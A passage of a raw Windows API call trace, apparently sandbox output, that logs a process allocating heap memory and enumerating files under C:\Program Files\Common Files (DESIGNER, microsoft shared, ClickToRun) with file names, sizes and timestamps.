ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0213.643] GetProcessHeap () returned 0xc10000 [0213.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0213.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.649] GetProcessHeap () returned 0xc10000 [0213.649] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0213.649] GetProcessHeap () returned 0xc10000 [0213.649] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0213.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.649] GetProcessHeap () returned 0xc10000 [0213.649] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0213.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.653] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.655] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0213.655] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0213.656] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0213.657] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0213.658] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, 